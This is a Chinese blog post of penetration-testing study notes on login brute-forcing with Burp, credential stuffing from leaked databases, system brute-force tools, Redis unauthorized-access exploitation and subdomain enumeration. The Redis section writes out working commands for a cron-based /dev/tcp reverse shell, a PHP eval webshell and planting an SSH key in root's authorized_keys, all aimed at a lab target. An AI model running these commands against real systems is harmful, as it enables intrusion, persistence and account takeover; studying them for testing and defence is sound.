认证爆破总结

web认证爆破

简单弱口令爆破

在burp里抓包单点爆破用户名和密码

带验证码的爆破

重点:抓包不放(验证码不变即绕过)

绕不过可以用 pkav http fuzzer

Basic 认证爆破(base64 用bp中的迭代器)

打开发现是一个类似 basic 认证的框,输入数据抓包


发现是 base64 加密 basic 字段,解密后内容是 admin:8888


能推断 basic 字段是 用户名:密码 这种格式的 base64 加密形式。在 intruder 中添加 basic 的加密字段,payload1 选择自定义迭代器(Custom itermtor)

然后设置定位分隔符和用户名,在位置2添加密码即可

然后在有效载荷里面添加 base64 编码模块

因为 base64 会编码特殊字符,需要取消最后面的 payload url 自动编码

前端加密爆破

即对密码进行了md5加密

泄密数据撞库

字典撞库爆破,先把 db 的 user 和 pass 分别提取出来,手动或者脚本都行

f = open('/Users/zhangmianqiao/code/Python学习/python多线程/pants.txt').read()
res = f.split("\n")
with open('user.txt','w') as user:
    for i in res:
        user.write(i.split(" ")[0]+"\n")
with open('pass.txt','w') as password:
    for i in res:
        password.write(i.split(" ")[1]+"\n")

然后选择 pichfork(音叉)模式方便一一对应,通过返回包长度判断正确的包

返回包特征提取爆破

密码同样为 md5 加密,选择有效载荷为 Hash md5 即可

从返回包长度无法判断 flag 正确的

观察返回包显示

尝试匹配错误的返回包,就能找出正确的响应包。在 burp 的options 里面 Grep-Extra (返回包提取)设置 flag 错误的正则表达式

在正则不匹配的返回结果中找到 flag

简单的token 认证

抓包发现有 token,解密发现为时间戳
由于 Burp 不能对时间戳进行设置,得手动写脚本进行爆破

系统认证爆破

工具:
1.hydra(九头蛇)
2.SNETCracker
3.gorailgun

爆破SMP优先级高于RDP

Redis未授权访问

![[Pasted image 20250909133339.png]]
![[Pasted image 20250909133552.png]]

写计划任务反弹shell

权限足够的情况下,利用redis写入文件到计划任务目录下执行。

端口监听:

在攻击者服务器上监听一个端口(未被占用的任意端口):

nc -lvnp 4444

攻击详情:

连接redis,写入反弹shell

redis-cli -h 192.168.0.104
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"

config set dir /var/spool/cron
config set dbfilename root
save

过一分钟左右就可以收到shell

写入webshell

利用条件:目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等),还需要具有读写增删改查权限
攻击机上分别使用以下命令:

config set dir /var/www/html
config set dbfilename haha.php
set webshell "<?php phpinfo(); ?>"
save

在这里插入图片描述
这时返回靶机,发现文件写入成功。

在这里插入图片描述
在这里插入图片描述

写入一句话

依次执行一下命令:

config set dir /var/www/html
set xxx "\n\n\n<?php @eval($_POST['x']); ?>\n\n\n"
config set dbfilename webshell.php
save

这时靶机会创建一个webshell的一句话php文件
在这里插入图片描述

利用写入公钥登录ssh

原理就是在数据库中插入一条数据,将本机的公钥作为value.key值,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

  1. 首先在攻击机kali上生成公钥。
    ssh-keygen -t rsa
    选项默认回车就可以。
    在这里插入图片描述
  2. 将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)。
cd /root/.ssh
(echo -e "\n";cat id_rsa.pub;echo -e "\n")>key.txt

在这里插入图片描述

  • 再把key.txt文件内容写入redis缓冲
    …进入到redis-4.0.10/src目录下
    cat /root/.ssh/key.txt |./redis-cli -h 192.168.224.130 -x set pub在这里插入图片描述
  • 设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys
    分别输入一下命令:
 ./redis-cli -h 192.168.224.130 
 config set dir /root/.ssh
 config set dbfilename authorized_keys
 save

在这里插入图片描述

注意:
redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)
在这里插入图片描述

  • 然后进行连接

ssh 192.168.224.130在这里插入图片描述

子域名爆破

GitHub - knownsec/ksubdomain: 无状态子域名爆破工具

用Amass已安装在kali-root
amass enum -d 域名

posted @ 2025-10-22 08:44  fnalshy  阅读(75)  评论(0)    收藏  举报
//雪花飘落效果